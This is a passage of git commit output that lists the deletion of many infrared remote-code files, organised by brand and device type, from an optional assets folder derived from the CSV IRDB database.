100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/239,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/26,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/179,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/191,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Karaoke/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD TV/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/35,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/LCD/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/131,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/159,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/179,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/5,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/8,14.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/83,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/115,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Projector/131,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Satellite/34,144.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/182,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/182,75.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,3.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,6.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/184,7.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/1,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir delete mode 100644 